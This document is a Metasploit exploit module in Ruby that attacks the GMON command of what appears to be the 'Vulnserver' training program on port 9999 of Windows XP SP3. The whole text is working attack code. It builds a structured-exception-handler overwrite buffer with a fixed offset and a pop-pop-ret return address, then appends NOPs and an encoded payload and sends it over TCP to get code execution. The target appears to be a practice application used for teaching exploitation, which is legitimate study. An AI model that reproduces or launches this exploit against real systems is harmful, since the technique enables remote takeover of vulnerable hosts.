Vulnerable Server SEH Exploit

## Metasploit To Max
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Vulnerable Server SEH Exploit',
            'Description'    => %q{
                    Vulnerable Server SEH Exploit
            },
            'License'        => MSF_LICENSE,
            'Author'        =>
                [
                    'Ninja-Security Team <admin[at]ninja-sec.org>',
                    ' Anti-Trust',    # MSF Module
                ],
            'References'    =>
                [
                    [ 'OSVDB', '' ],
                    [ 'CVE', '' ],
                    [ 'URL', 'http://ninja-sec.org' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process', #none/process/thread/seh
                    #'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'    => 'win',
            'Payload'    =>
                {
                    'BadChars' => "\x00\x0a\x0d",
                    'DisableNops' => true,
                },

            'Targets'        =>
                [
                    [ 'WINDOWS XP SP3',
                        {
                            'Ret'       =>    0x625011b3, # pop eax # pop eax # ret  - essfunc.dll
                            'Offset'    =>    3498
                        }
                    ],
                ],
            'Privileged'    => false,
            'DisclosureDate'    => 'Sep 24 2012',
            'DefaultTarget'    => 0))

        register_options([Opt::RPORT(9999)], self.class)

    end

    def exploit


        connect

        buffer = rand_text(target['Offset'])
        buffer << generate_seh_record(target.ret)
        buffer << make_nops(30)
        buffer << payload.encoded

        print_status("Trying target #{target.name}...")
        sock.put('GMON /'+ buffer)

        handler
        disconnect

    end
end